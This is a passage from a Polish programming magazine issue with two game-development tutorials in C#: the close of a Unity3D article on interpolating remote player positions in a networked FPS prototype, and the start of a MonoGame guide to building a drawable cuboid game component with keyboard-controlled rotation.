dźwięku,  który  został  gruntownie  zmodernizowany.  Poprawki  dotknęły  też 
narzędzia do grafiki 2D, które zostały ostatnio wprowadzone w linii „4”. Samo 
Unity3D stanie się też narzędziem 64-bitowym (choć wersja 32-bitowa nadal 
ma być wspierana), pojawi się również wsparcie dla WebGL oraz dla systemu 
SpeedTree (biblioteka dostarczająca realistyczne modele trawy, krzewów oraz 
drzew). Obsługa SpeedTree dostępna będzie również w wersji darmowej.

INTERPOLACJA POZYCJI GRACZA

Podane w tym miejscu rozwiązanie odnosi się do idei zastosowanej już jakiś 
czas temu w silniku gier Source. Za pomocą interpolacji (dokładnie interpo-
lacji liniowej w przypadku pozycji graczy) będziemy stosować poprawki do 
pozycji gracza zdalnego. W ten sposób ruchy graczy zdalnych będą znacznie 
płynniejsze, choć nadal mogą zdarzać się „szarpnięcia”.

Nasz przykład możemy oprzeć o poprzednie rozwiązanie. Nadal gracze 

pojawiają się w punkcie 

SpawnPoint, i wykorzystujemy do tego metodę 

CreatePlayer, jednak należy wprowadzić dodatkowy element w postaci 
dodawania nowego komponentu w zależności od tego, czy gracz dołączył 
do gry bezpośrednio na serwerze, czy też jest jest to gracz zdalny. Wystarczy 
dodać jeden parametr do metody 

CreatePlayer np. o nazwie playerType 

i w kodzie metody w zależności od wartości tego parametru dołączać odpo-
wiedni komponent:

if

(playerType == 0)

g.AddComponent(

"NetworkPlayerLogicServer"

);

if

(playerType == 1)

g.AddComponent(

"NetworkPlayerLogicRemote"

);

Inne zmiany w skrypcie 

NetworkLogic nie są potrzebne, ale należy natu-

ralnie utworzyć dwa dodatkowe skrypty odpowiedzialne za synchronizacje 
pozycji graczy. Pierwszy z dodatkowych skryptów 

NetworkPlayerLogic-

Server jest odpowiedzialny za przesyłanie stanu gracza znajdującego się na 
serwerze. W klasie 

NetworkPlayerLogicServer znajduje się tylko jedna 

metoda o nazwie 

OnSerializeNetworkView, której zadaniem jest odbie-

ranie informacji sieciowych.

Rysunek 4. Testy prototypu FPS wraz z interpolacją pozycji graczy zdalnych

background image

36

/ 6 

. 2014 . (25)  /

PROGRAMOWANIE GIER

Implementacja tej metody może przedstawiać się następująco:

void

 OnSerializeNetworkView( BitStream stream, NetworkMessageInfo 

info ) {

Vector3 position = Vector3.zero;

Quaternion rotation = Quaternion.identity;

if

( stream.isWriting ) {

// cześć I

}

else

 {

// cześć II

}

}

Część pierwsza zawiera następujący kod:

position = transform.position;

rotation = transform.rotation;

stream.Serialize( 

ref

 position );

stream.Serialize( 

ref

 rotation );

Polega on na odczytaniu informacji o położeniu obiektu oraz wartości obrotu 
i przekazania tych wartości do strumienia, bowiem, zgodnie z warunkiem w 
instrukcji warunkowej, strumień danych znajduje się w trybie do zapisu.

Część druga wykonuje czynność odwrotną; odczytuje dane ze strumienia 

i zapisuje je do obiektu:

stream.Serialize( 

ref

 position );

stream.Serialize( 

ref

 rotation );

transform.position = position;

transform.rotation = rotation;

Takie rozwiązanie jest wystarczające dla kodu serwera, ponieważ gracz grają-
cy na serwerze nie doświadcza opóźnienia związanego z obsługą sieci, dlate-
go wystarczy proste przenoszenie danych.

Dla graczy zdalnych należy jednak przygotować większe rozwiązanie: 

jest to skrypt o nazwie 

NetworkPlayerLogicRemote. Bazuje ono, jak już 

powiedziano, na pomyśle z silnika Source,  bardzo podobne rozwiązania mo-
żemy odszukać na stronie unifycommunity czy też na forum Unity3D. Całość 
kodu znajduje się na Listingu 3.

Początek to deklaracja dodatkowych zmiennych, z których najważniej-

sza to 

InterpolationBackTime. Zmienna ta określa częstość stosowania 

poprawki za pomocą interpolacji w trakcie jednej sekundy toczącej się gry. 
Istotna jest też struktura 

playerState, która zawiera pozycję oraz obrót gra-

cza, a także czas otrzymania informacji. Zestaw tych danych będzie przecho-
wywany w tablicy 

stateBuffer. W metodzie Start dodatkowo tworzymy 

wspomnianą tablicę 

stateBuffer.

Dane otrzymujemy naturalnie z metody 

OnSerializeNetworkView, 

zapis danych jest identyczny jak w poprzednim skrypcie dla gracza serwe-
rowego. Jednak, w procesie odczytu danych, zamiast do obiektu, do którego 
podłączony jest skrypt, dane są zapisywane do tablicy 

stateBuffer. Są one 

zawsze przesuwane do góry o jedną pozycję, a ostatnio odczytana wartość 
jest umieszczana pod indeksem zerowym tablicy 

stateBuffer.

Realizacja interpolacji jest wykonywana w metodzie 

Update. W metodzie 

tej sprawdzamy dodatkowo, czy komponent 

NetworkView przynależy do na-

szego obiektu, bowiem jeśli tak jest, to nie jest potrzebna interpolacja. Spraw-
dzamy też, czy odebrane zostały jakieś dane, odczytując wartość zmiennej 
stateCount. Następnie, odejmujemy od aktualnego czasu sieciowego stałą 
wartość określoną w zmiennej 

InterpolationBackTime. Należy się upew-

nić, czy czas w pierwszej próbce znajdującej się w tablicy 

stateBuffer pod 

indeksem zero jest większy niż czas interpolacji. Jeśli tak jest, to za pomocą 
pętli 

for szukamy w tablicy stateBuffer stanu, który dotarł wcześniej niż 

wyznaczony czas interpolacji (zmienna 

interpolationTime). 

Gdy odpowiedni stan zostanie odszukany, to oblicza się różnicę w czasie 

pomiędzy odszukanym elementem (indeks i bezpośrednio wskazuje na ten 
element), dodatkowo jest on kopiowany do zmiennej 

startState, a ele-

mentem wcześniejszym (indeks i-1, lub zerowym, jeśli i-1 byłoby wartością 
ujemną) zapamiętanym jako zmienna 

targetState. Należy upewnić się, 

czy obliczona różnica w czasie jest większa niż 

0.0001 (jest to związane z 

dokładnością wartości czasowych, jakie otrzymujemy). Następnie obliczamy 
czas trwania całej procedury interpolacji (zmienna 

t). Po tych czynnościach 

możemy wykonać interpolację pomiędzy dwoma wskazanymi stanami, dla 
pozycji oraz obrotu:

transform.position = Vector3.Lerp( startState.Position, 

targetState.Position, t );

transform.rotation = Quaternion.Slerp(startState.Rotation, 

targetState.Rotation, t);

W przypadku pozycji stosujemy funkcję 

Lerp, natomiast dla obrotu Slerp, 

która jest dopasowana do kwaternionów, jakie stosuje Unity3D do reprezen-
tacji obrotów, i jest to tzw. interpolacja sferyczna, stanowiąca odpowiednik 
interpolacji liniowej, jaką uzyskuje się za pomocą 

Lerp.

W kodzie z Listingu 3 mamy jeszcze ekstrapolację, która polega na pró-

bie przewidzenia nowej pozycji gracza na podstawie stanów zero oraz jeden. 
Można ten fragment usunąć i zastąpić go kopiowaniem danych ze stanu 
zerowego.

Listing 3. Skrypt do obsługi interpolacji pozycji oraz wartości obro-
tu obiektu gracza w prototypie gry typu FPS

using

 UnityEngine;

using

 System.Collections;

public

 

class

 

NetworkPlayerLogicRemote

 : MonoBehaviour {

public

 

float

 InterpolationBackTime = 0.1f;

private

 

playerState

[] stateBuffer = 

null

;

private

 

int

 stateCount;

private

 

struct

 

playerState 

{

public

 Vector3 Position;

public

 Quaternion Rotation;

public

 

double

 Timestamp;

public

 playerState( Vector3 pos, Quaternion rot, 

double

 time 

) {

this

.Position = pos;

this

.Rotation = rot;

this

.Timestamp = time;

}

}

void

 Start() {

stateBuffer = 

new

 

playerState

[ 25 ];

stateCount = 0; 

}

void

 Update() {

if

( networkView.isMine ) 

return

if

( stateCount == 0 ) 

return

;

double

 currentTime = Network.time;

double

 interpolationTime = currentTime - InterpolationBackTime;

if

( stateBuffer[ 0 ].Timestamp > interpolationTime ) {

for

int

 i = 0; i < stateCount; i++ ) {

if

( stateBuffer[ i ].Timestamp <= interpolationTime || i == 

stateCount - 1 ) {

playerState

 startState = stateBuffer[ i ];

playerState

 targetState = stateBuffer[ Mathf.Max( i - 1, 

0 ) ];

double

 length = targetState.Timestamp - startState.

Timestamp;

float

 t = 0f;

if

( length > 0.0001 ) {

t = (

float

)( ( interpolationTime -  

startState.Timestamp ) / length );

}

transform.position = Vector3.Lerp( startState.Position, 

targetState.Position, t );

transform.rotation = Quaternion.Slerp(startState.

Rotation, targetState.Rotation, t);

return

;

}

}

else 

{

double

 extrapolationLength = (interpolationTime - 

stateBuffer[0].Timestamp);

if

 (extrapolationLength < 1 && stateCount > 1 ) {

background image

37

/ www.programistamag.pl /

UNITY3D – PROTOTYP GRY SIECIOWEJ

transform.position = stateBuffer[0].Position + 

(((stateBuffer[0].Position - stateBuffer[1].Position) / 

((

float

)stateBuffer[0].Timestamp - (

float

)stateBuffer[1].

Timestamp) ) * (

float

)extrapolationLength);

transform.rotation = stateBuffer[0].Rotation;

}

}

}

void

 OnSerializeNetworkView( BitStream stream, 

NetworkMessageInfo info ) {

if

( stream.isWriting ) {

Vector3 position = transform.position;

Quaternion rotation = transform.rotation;

stream.Serialize( 

ref

 position );

stream.Serialize( 

ref

 rotation );

else 

{

Vector3 position = Vector3.zero;

Quaternion rotation = Quaternion.identity;

stream.Serialize( 

ref

 position );

stream.Serialize( 

ref

 rotation );

for

 (

int

 k=stateBuffer.Length-1;k>0;k--) {

stateBuffer[k] = stateBuffer[k-1];

}

stateBuffer[0] = 

new

 

playerState

( position, rotation, info.

timestamp) ;

stateCount = Mathf.Min(stateCount + 1, stateBuffer.Length);

}

}

}

W sieci:

 

P Główna strona środowiska Unity3D:

http://www.unity3d.com/

 

P Skrypt do synchronizacji oraz interpolacji obiektów poprzez sieć z por-

talu unifycommunity:

http://wiki.unity3d.com/index.php/NetworkView_Position_Sync

 

P Książka pt. „Unity Multiplayer Games ”, autorstwa Alana R. Stagnera, w 

całości poświęcona zagadnieniu tworzenia gier sieciowych w Unity3D:

http://www.packtpub.com/unity-multiplayer-games/book

Marek Sawerwain

redakcja@programistamag.pl

Autor, pracownik naukowy Uniwersytetu Zielonogórskiego, na co dzień zajmuje się teorią 
kwantowych języków programowania, ale także tworzeniem oprogramowania dla systemów 
Windows oraz Linux. Zainteresowania: teoria języków programowania oraz dobra literatura.

PODSUMOWANIE

To nie koniec możliwości, jakie można i trzeba zastosować, aby poprawić ja-
kość gry w sieci. Kolejnym elementem, jaki należy przedstawić, jest tzw. syn-
chronizacja autorytatywna, oferująca kolejny sposób przekazywania danych 
odnoszących się do poszczególnych graczy. W uproszczeniu polega to na 
tym, iż dane o sterowaniu, np. wciśnięte klawisze, przesyłane są do serwera, 
a dopiero serwer zleca klientowi realizację odpowiedniego ruchu. Naturalnie, 
przydałby się lepszy przykład omawiający problemy obsługi sieci w Unity3D, 
niekoniecznie musi to być gra typu FPS, ale np. wyścigi samochodowe. I po-
lepszeniem obsługi graczy sieciowych oraz wyścigami samochodowymi bę-
dziemy zajmować się w następnej cześć naszego artykułu.

reklama

background image

38

/ 6 

. 2014 . (25)  /

PROGRAMOWANIE GIER

Jacek Matulewski

W

iele elementów gry można zamknąć w komponentach. W zasadzie 
każdy większy fragment kodu, który jest wielokrotnie wykonywa-
ny, może być umieszczony w komponencie. Komponenty mogą 

być „niewizualne”; dziedziczą wówczas z klasy 

GameComponent. Przykładem 

takiego komponentu może być obiekt kontrolujący zmieniany dynamicznie 
podkład muzyczny lub komponent sterujący dialogiem postaci w grze RPG. 
Takie komponenty posiadają metodę 

Update, która po zarejestrowaniu kom-

ponentu jest automatycznie wywoływana z taką samą częstością, jak metoda 
Update klasy gry Game1. Komponenty mogą także być wyposażone w meto-
dę 

Draw. Powinny wówczas dziedziczyć po DrawableGameComponent.

W tym artykule przedstawię przykład komponentu „wizualnego”, którym 

będzie zwykły prostopadłościan. Wybór tej bryły nie jest przypadkowy. Na pro-
stopadłościanie wygodnie będzie nam testować oświetlenie i teksturowanie.

Stwórzmy nowy projekt gry: uruchommy Visual Studio z MonoGame, 

przyciśnijmy klawisze Ctrl+Shift+N, w oknie New Project przejdźmy do kate-
gorii  MonoGame, zaznaczmy projekt MonoGame Windows OpenGL Project
wpiszmy nazwę MojaDrugaGraMonoGame i kliknijmy OK. Jeżeli chcemy prze-
łączyć grę do trybu 

Reach, możemy w konstruktorze Game1 umieścić pole-

cenie 

GraphicsDevice.GraphicsProfile = GraphicsProfile.Reach;. 

Następnie zajmijmy się przygotowaniem efektu. W tym celu w klasie 

Game1 zdefiniujmy pole o nazwie efekt typu BasicEffect i w metodzie 
Game1.Initialize zainicjujmy je, wpisując kod z Listingu 1.

Listing 1. Inicjacja efektu

protected

 

override

 

void

 Initialize()

{

efekt = 

new

 

BasicEffect

(graphics.GraphicsDevice);

efekt.VertexColorEnabled = 

true

;

efekt.Projection = 

Matrix

.CreatePerspective(

2.0f * graphics.GraphicsDevice.Viewport.AspectRatio,

2.0f,

1.0f,

10.0f);

efekt.View = 

Matrix

.CreateLookAt(

new

 

Vector3

(0, 0, 2.5f),

new

 

Vector3

(0, 0, 0),

new

 

Vector3

(0, 1, 0));

efekt.World = 

Matrix

.Identity;

base

.Initialize();

}

Następnie dodajmy do projektu komponent gry o nazwie 

Prostopadlo-

scian. W XNA służył do tego odpowiedni szablon, jednak w MonoGame go 
nie ma. Dlatego dodamy do projektu zwykłą klasę, a następnie przekształcimy 
ją w komponent. Z menu Project wybieramy polecenie Add Class…, w oknie 
Add New Item zaznaczmy pozycję Class, a w polu Name wpisujemy Prostopa-
dloscian.cs
 i klikamy przycisk Add. Po utworzeniu nowej klasy uzupełnijmy 
przestrzenie nazw w jej pliku o te związane z MonoGame (Listing 2). Wskazu-
jemy też jej klasę bazową, tj. 

DrawableGameComponent. W klasie Prosto-

padloscian definiujemy trzy pola. Jedno z nich to efekt typu BasicEffect. 
Nie używamy ogólniejszej klasy 

Effect, bo w dalszej części używać będzie-

my zdefiniowanej w 

BasicEffect macierzy świata do określenia pozycji 

prostopadłościanu na scenie. Pozostałe pola to referencja typu 

Graphics-

Device, która jest argumentem niemal każdej ważnej metody MonoGame, 
oraz bufor werteksów.

Listing 2. Klasa komponentu

using

 System;

using

 System.Collections.Generic;

using

 System.Linq;

using

 System.Text;

using

 Microsoft.Xna.Framework;

using

 Microsoft.Xna.Framework.Graphics;

using

 Microsoft.Xna.Framework.Input;

namespace

 MojaDrugaGraMonoGame

{

class

 

Prostopadloscian

 : 

DrawableGameComponent

{

GraphicsDevice

 gd;

BasicEffect

 efekt;

VertexBuffer

 buforWerteksow;

}

}

W nowej klasie definiujemy także konstruktor przyjmujący sześć argumentów 
(Listing 3). Jego argumenty 

dx, dy i dz określają szerokość, wysokość i głębo-

kość prostopadłościanu. Aby wygodniej określać współrzędne wierzchołków, 
dzielimy w konstruktorze trzy liczby przez dwa. W konstruktorze inicjujemy 
także pole 

gd i klonujemy efekt. Dzięki sklonowaniu komponent będzie dys-

ponował własnym, niezależnym od gry efektem. Następnie tworzymy lokalną 
tablicę ośmiu punktów, które wykorzystywać będziemy do budowania wer-
teksów (zob. Rysunek 1). W konstruktorze zdefiniujmy także zmienne typu 
Color określające trzy kolory dla trzech par powierzchni prostopadłościanu.

Przewodnik po MonoGame, część 2: 

komponenty gry

Budowanie gry, nawet stosunkowo prostej, to spore wyzwanie dla programisty, 
szczególnie jeżeli działa w pojedynkę, a liczba linii kodu ciągle rośnie. Bardzo łatwo 
zgubić się w zawiłościach skomplikowanej logiki gry, obsługi poszczególnych jej 
trybów czy interakcji graczy w grze wieloosobowej. Każdy programista wie, że aby 
uniknąć utraty orientacji we własnym projekcie, powinien podzielić kod na klasy, 
które będą realizować autonomiczne zadania i które łatwiej jest testować. Z klas 
można budować większe całości bez konieczności kontrolowania niezliczonej liczby 
zmiennych. To elementarz programowania obiektowego. W MonoGame poza kla-
sami mamy także do dyspozycji tzw. komponenty gry. Są to specjalne klasy, które 
są odświeżane i rysowane automatycznie.

background image

39

/ www.programistamag.pl /

PRZEWODNIK PO MONOGAME, CZĘŚĆ 2: KOMPONENTY GRY

Listing 3. Konstruktor komponentu

public

 Prostopadloscian(

Game

 game, 

BasicEffect

 efekt, 

float

 dx, 

float

 dy, 

float

 dz, 

Color

? kolor)

base

(game)

{

dx /= 2;

dy /= 2;

dz /= 2;

gd = game.GraphicsDevice;

this

.efekt = (

BasicEffect

)efekt.Clone();

Vector3

[] punkty = 

new

 

Vector3

[8]{

new

 

Vector3

(-dx, -dy, dz),

new

 

Vector3

(dx, -dy, dz),

new

 

Vector3

(dx, dy, dz),

new

 

Vector3

(-dx, dy, dz),

new

 

Vector3

(-dx, -dy, -dz),

new

 

Vector3

(dx, -dy, -dz),

new

 

Vector3

(dx, dy, -dz),

new

 

Vector3

(-dx, dy, -dz)

};

Color

 kolor1 = kolor ?? 

Color

.Cyan;

Color

 kolor2 = kolor ?? 

Color

.Magenta;

Color

 kolor3 = kolor ?? 

Color

.Yellow;

}

Rysunek 1. Punkty, z których zbudowany będzie prostopadłościan

Teraz najbardziej żmudna część kodu konstruktora – definiowanie tablicy wertek-
sów (Listing 4). Musimy je zdefiniować w taki sposób, aby każda ściana była wy-
świetlana jako ciąg złożony z dwóch trójkątów, co nieco ograniczy liczbę werteksów 
(zob. ramkę o buforze indeksów). Następnie całą tę tablicę kopiujemy do karty gra-
ficznej, korzystając z bufora werteksów. Kolejność werteksów jest ważna – powinny 
być tak ułożone, żeby wszystkie trójkąty ustawione były przodem na zewnątrz bryły 
(zob. omówienie nawijania w pierwszej części kursu – Programista 4/2014). 

Uwaga o buforze indeksów

Większe  oszczędności  moglibyśmy  uzyskać,  korzystając  z  bufora  indek-
sów.  Moglibyśmy  dzięki  niemu  uniknąć  trójkrotnego  powtórzenia  wer-
teksów w każdym wierzchołku prostopadłościanu. Ale to pod warunkiem, 
że te trzy werteksy byłyby rzeczywiście identyczne. Niestety w prostopa-
dłościanie mogą się one różnić kolorem, a w przyszłości także normalną 
i  współrzędnymi  teksturowania.  Nie  chcę  przez  to  powiedzieć,  że  bufor 
indeksów jest mało przydatny – dobrze poznamy jego zalety przy okazji 
budowania gładkich powierzchni w kolejnych odcinkach kursu.

Listing 4. Fragment konstruktora odpowiedzialny za definiowanie 
werteksów

VertexPositionColor

[] werteksy = 

new

 

VertexPositionColor

[24]

{

//przednia sciana

new

 

VertexPositionColor

(punkty[3], kolor1),

new

 

VertexPositionColor

(punkty[2], kolor1),

new

 

VertexPositionColor

(punkty[0], kolor1),

new

 

VertexPositionColor

(punkty[1], kolor1),

//tylnia sciana

new

 

VertexPositionColor

(punkty[7], kolor1),

new

 

VertexPositionColor

(punkty[4], kolor1),

new

 

VertexPositionColor

(punkty[6], kolor1),

new

 

VertexPositionColor

(punkty[5], kolor1),

//gorna sciana

new

 

VertexPositionColor

(punkty[3], kolor2),

new

 

VertexPositionColor

(punkty[7], kolor2),

new

 

VertexPositionColor

(punkty[2], kolor2),

new

 

VertexPositionColor

(punkty[6], kolor2),

//dolna sciana

new

 

VertexPositionColor

(punkty[0], kolor2),

new

 

VertexPositionColor

(punkty[1], kolor2),

new

 

VertexPositionColor

(punkty[4], kolor2),

new

 

VertexPositionColor

(punkty[5], kolor2),

//lewa sciana

new

 

VertexPositionColor

(punkty[3], kolor3),

new

 

VertexPositionColor

(punkty[0], kolor3),

new

 

VertexPositionColor

(punkty[7], kolor3),

new

 

VertexPositionColor

(punkty[4], kolor3),

//prawa sciana

new

 

VertexPositionColor

(punkty[1], kolor3),

new

 

VertexPositionColor

(punkty[2], kolor3),

new

 

VertexPositionColor

(punkty[5], kolor3),

new

 

VertexPositionColor

(punkty[6], kolor3)

};

Dzięki  interfejsowi 

IVertexType  formalnie  rzecz  ujmując,  możliwe 

jest przygotowanie sparametryzowanej wersji klasy 

Prostopadlos-

cian<VertexType> : GameComponent where VertexType : 

IVertexType. Jednak ponieważ inicjujemy werteksy wewnątrz tego kom-

ponentu, nadając im położenie i kolor, konieczne jest użycie konkretnego 
typu  werteksu. To  niestety  oznacza,  że  chcąc  dodać  do  werteksu  nowe 
atrybuty, będziemy musieli zmienić jego typ.

Klasa 

DrawableGameComponent, której użyliśmy jako klasy bazowej kompo-

nentu 

Prostopadloscian, dziedziczy po klasie GameComponent. Ta klasa 

implementuje interfejs 

IUpdateable, który wymusza obecność metody Up-

date. A ponieważ jest ona zdefiniowana już w klasie GameComponent, nie 
ma w zasadzie konieczności nadpisywania jej w klasie potomnej, tj. w klasie 
naszego komponentu. Podobnie jest z klasą 

DrawableGameComponent, któ-

ra rozszerza klasę 

GameComponent, implementując jednocześnie interfejs 

IDrawable, co zmuszą ją do posiadania metody Draw. Nam metoda Draw 
będzie jednak potrzebna do wyświetlenia zdefiniowanych przed chwilą wer-
teksów. Dlatego nadpisujemy ją w klasie 

Prostopadloscian (Listing 5).

Listing 5. Nadpisana metoda Draw komponentu

public

 

override

 

void

 Draw(

GameTime

 gameTime)

{

gd.SetVertexBuffer(buforWerteksow);

foreach

 (

EffectPass

 pass 

in

 efekt.CurrentTechnique.Passes)

{

pass.Apply();

for

 (

int

 i = 0; i < 6; ++i)

gd.DrawPrimitives(

PrimitiveType

.TriangleStrip, 4 * i, 2);

}

base

.Draw(gameTime);

}

To dobry moment, aby sprawdzić, jak działa nasz komponent. W tym celu mu-
simy utworzyć instancję klasy 

Prostopadloscian i zarejestrować ją w klasie 

gry, czyli dodać ją do listy komponentów w kolekcji 

Game1.Components. 

Wracamy zatem do edycji klasy 

Game1 (plik Game1.cs), definiujemy w niej 

pole 

prostopadloscian typu Prostopadloscian, inicjujemy je w meto-

dzie 

Initialize, tworząc obiekt tej klasy, i dodajemy go do listy komponen-

tów gry (Listing 6). Ostatni argument w konstruktorze komponentu ustalamy 
jako równy 

null. To oznacza, że użyjemy predefiniowanych kolorów, które 

ułatwią nam dostrzeżenie głębi pomimo braku oświetlenia. Oczywiście pustą 
wartość 

null możemy zastąpić np. przez Color.White. Wówczas utworzy-

my biały prostopadłościan.

background image

40

/ 6 

. 2014 . (25)  /

PROGRAMOWANIE GIER

Listing 6. Tworzenie i rejestrowanie komponentu w klasie gry

protected

 

override

 

void

 Initialize()

{

efekt = 

new

 

BasicEffect

(graphics.GraphicsDevice);

...

efekt.World = 

Matrix

.Identity;

prostopadloscian = 

new

 

Prostopadloscian

(

this

, efekt, 1.5f, 1.0f, 

2.0f, 

null

);

this

.Components.Add(prostopadloscian);

base

.Initialize();

}

Po uruchomieniu gry, efekt, jaki zobaczymy na ekranie, będzie jeszcze niezbyt 
widowiskowy. Ponieważ macierz świata jest jednostkowa, prostopadłościan 
jest ustawiony do nas jedną ścianą (Rysunek 2). Warto byłoby zatem umożli-
wić dowolne ustawienie prostopadłościanu na scenie. To wymaga dostępu do 
macierzy świata efektu sklonowanego w komponencie. Najprostsze i chyba 
najbardziej eleganckie będzie zdefiniowanie w klasie 

Prostopadloscian 

własności udostępniającej tę macierz (Listing 7).

Listing 7. Zdefiniowana w komponencie własność udostępniająca 
macierz świata

public

 

Matrix

 MacierzSwiata

{

get

{

return

 efekt.World;

}

set

{

efekt.World = 

value

;

}

}

Rysunek 2. Prostopadłościan w domyślnym ustawieniu na scenie

Wykorzystując tę własność, możemy sterować orientacją prostopadłościanu 
np. za pomocą klawiszy. Wystarczy do metody 

Game1.Update dodać polece-

nia widoczne na Listingu 8. Oczywiście, jeżeli z jakiegoś powodu udostępnia-
nie macierzy świata nam nie odpowiada, możemy sprawdzić stan klawiatury 
w klasie komponentu, w jego metodzie 

Prostopadloscian.Update, i z jej 

poziomu modyfikować obiekt 

efekt.World (Rysunek 3).

Listing 8. Sterowanie orientacją komponentu. Metoda Update klasy 
Game1

protected

 

override

 

void

 Update(

GameTime

 gameTime)

{

if

 (

GamePad

.GetState(

PlayerIndex

.One).Buttons.Back == 

ButtonState

.Pressed ||

Keyboard

.GetState().IsKeyDown(

Keys

.Escape))

Exit();

float

 katObrotu = 0.01f;

KeyboardState

 stanKlawiatury = 

Keyboard

.GetState();

if

 (stanKlawiatury.IsKeyDown(

Keys

.LeftShift) || 

stanKlawiatury.IsKeyDown(

Keys

.RightShift)) 

katObrotu *= 10;

if

 (stanKlawiatury.IsKeyDown(

Keys

.Left)) 

prostopadloscian.MacierzSwiata *= 

Matrix

.CreateRotationY(katObrotu);

if

 (stanKlawiatury.IsKeyDown(

Keys

.Right)) 

prostopadloscian.MacierzSwiata *= 

Matrix

.CreateRotationY(-katObrotu);

if

 (stanKlawiatury.IsKeyDown(

Keys

.Up)) 

prostopadloscian.MacierzSwiata *= 

Matrix

.CreateRotationX(katObrotu);

if

 (stanKlawiatury.IsKeyDown(

Keys

.Down)) 

prostopadloscian.MacierzSwiata *= 

Matrix

.CreateRotationX(-katObrotu);

if

 (stanKlawiatury.IsKeyDown(

Keys

.OemPeriod)) 

prostopadloscian.MacierzSwiata *= 

Matrix

.CreateRotationZ(katObrotu);

if

 (stanKlawiatury.IsKeyDown(

Keys

.OemComma)) 

prostopadloscian.MacierzSwiata *= 

Matrix

.CreateRotationZ(-katObrotu);

base

.Update(gameTime);

}

Rysunek 3. Kolorowanie ścian kompensuje brak oświetlenia

Powielenie prostopadłościanu na scenie byłoby dowodem na dobrą izolację 
klasy komponentu i jej prawidłowe działanie. Zdefiniujmy wobec tego w kla-
sie 

Game1 drugą referencję typu Prostopadloscian i zainicjujmy ją w meto-

dzie 

Game1.Initialize. Do obracania drugiej bryły przeznaczmy klawisze 

W, S, A, D (Listing 9). Po uruchomieniu zobaczymy dwa prostopadłościany, 
którymi możemy niezależnie obracać (Rysunek 4).

Rysunek 4. Dwa niezależne komponenty

Wyjaśnienia wymagają operacje przesunięcia, jakim poddajemy macierz 
świata. Dzięki nim prostopadłościany obracane są nie według wspólnego 
środka (środka układu sceny), a wokół własnych środków (zob. artykuł „Macie-
rze w grafice 3D” w poprzednim numerze). 

Stworzony w tym krótkim artykule komponent prostopadłościanu będzie 

naszym modelem w kolejnych częściach kursu. W następnej części przetestu-
jemy na nim oświetlenie i teksturowanie. Będziemy go także używać podczas 
testów silnika fizyki, który dodamy do projektu.

background image

41

/ www.programistamag.pl /

PRZEWODNIK PO MONOGAME, CZĘŚĆ 2: KOMPONENTY GRY

Listing 9. Tworzenie i kontrola orientacji drugiego komponentu

public

 

class

 

Game1

 : 

Game

{

GraphicsDeviceManager

 graphics;

SpriteBatch

 spriteBatch;

BasicEffect

 efekt;

Prostopadloscian

 prostopadloscian, prostopadloscian2;

float

 rozsuniecie = 2f;

...

protected

 

override

 

void

 Initialize()

{

efekt = 

new

 

BasicEffect

(graphics.GraphicsDevice);

...

efekt.World = 

Matrix

.Identity;

prostopadloscian = 

new

 

Prostopadloscian

(

this

, efekt, 1.5f, 1.0f, 2.0f, 

null

);

prostopadloscian.MacierzSwiata *= 

Matrix

.CreateScale(0.75f) * 

Matrix

.CreateTranslation(

new

 

Vector3

(-rozsuniecie/2, 0, 0));

this

.Components.Add(prostopadloscian);

prostopadloscian2 = 

new

 

Prostopadloscian

(

this

, efekt, 1.5f, 1.0f, 2.0f, 

null

);

prostopadloscian2.MacierzSwiata *= 

Matrix

.CreateScale(0.75f) * 

Matrix

.CreateTranslation(

new

 

Vector3

(rozsuniecie/2, 0, 0));

this

.Components.Add(prostopadloscian2);

base

.Initialize();

}

...

protected

 

override

 

void

 Update(

GameTime

 gameTime)

{

...

float

 katObrotu = 0.01f;

KeyboardState

 stanKlawiatury = 

Keyboard

.GetState();

if

 (stanKlawiatury.IsKeyDown(

Keys

.LeftShift) || 

stanKlawiatury.IsKeyDown(

Keys

.RightShift)) katObrotu *= 10;

if

(stanKlawiatury.GetPressedKeys().Length>0) 

{

prostopadloscian.MacierzSwiata *= 

Matrix

.CreateTranslation(

new

 

Vector3

(rozsuniecie/2, 0, 0));

prostopadloscian2.MacierzSwiata *= 

Matrix

.CreateTranslation(

new

 

Vector3

(-rozsuniecie/2, 0, 0));

}

if

 (stanKlawiatury.IsKeyDown(

Keys

.Left)) prostopadloscian.MacierzSwiata *= 

Matrix

.CreateRotationY(katObrotu);

if

 (stanKlawiatury.IsKeyDown(

Keys

.Right)) prostopadloscian.MacierzSwiata *= 

Matrix

.CreateRotationY(-katObrotu);

if

 (stanKlawiatury.IsKeyDown(

Keys

.Up)) prostopadloscian.MacierzSwiata *= 

Matrix

.CreateRotationX(katObrotu);

if

 (stanKlawiatury.IsKeyDown(

Keys

.Down)) prostopadloscian.MacierzSwiata *= 

Matrix

.CreateRotationX(-katObrotu);

if

 (stanKlawiatury.IsKeyDown(

Keys

.OemPeriod)) prostopadloscian.MacierzSwiata *= 

Matrix

.CreateRotationZ(katObrotu);

if

 (stanKlawiatury.IsKeyDown(

Keys

.OemComma)) prostopadloscian.MacierzSwiata *= 

Matrix

.CreateRotationZ(-katObrotu);

if

 (stanKlawiatury.IsKeyDown(

Keys

.A)) prostopadloscian2.MacierzSwiata *= 

Matrix

.CreateRotationY(katObrotu);

if

 (stanKlawiatury.IsKeyDown(

Keys

.D)) prostopadloscian2.MacierzSwiata *= 

Matrix

.CreateRotationY(-katObrotu);

if

 (stanKlawiatury.IsKeyDown(

Keys

.W)) prostopadloscian2.MacierzSwiata *= 

Matrix

.CreateRotationX(katObrotu);

if

 (stanKlawiatury.IsKeyDown(

Keys

.S)) prostopadloscian2.MacierzSwiata *= 

Matrix

.CreateRotationX(-katObrotu);

if

 (stanKlawiatury.IsKeyDown(

Keys

.Q)) prostopadloscian2.MacierzSwiata *= 

Matrix

.CreateRotationZ(katObrotu);

if

 (stanKlawiatury.IsKeyDown(

Keys

.E)) prostopadloscian2.MacierzSwiata *= 

Matrix

.CreateRotationZ(-katObrotu);

if

 (stanKlawiatury.GetPressedKeys().Length > 0)

{

prostopadloscian.MacierzSwiata *= 

Matrix

.CreateTranslation(

new

 

Vector3

(-rozsuniecie / 2, 0, 0));

prostopadloscian2.MacierzSwiata *= 

Matrix

.CreateTranslation(

new

 

Vector3

(rozsuniecie / 2, 0, 0));

}

base

.Update(gameTime);

}

...

}

Jacek Matulewski

Fizyk zajmujący się na co dzień optyką kwantową i układami nieuporządkowanymi na Wydziale 
Fizyki, Astronomii i Informatyki Stosowanej UMK w Toruniu. Od 1998 r. interesuje się programo-
waniem dla systemu Windows, w szczególności platformą .NET i językiem C#. Autor serii książek 
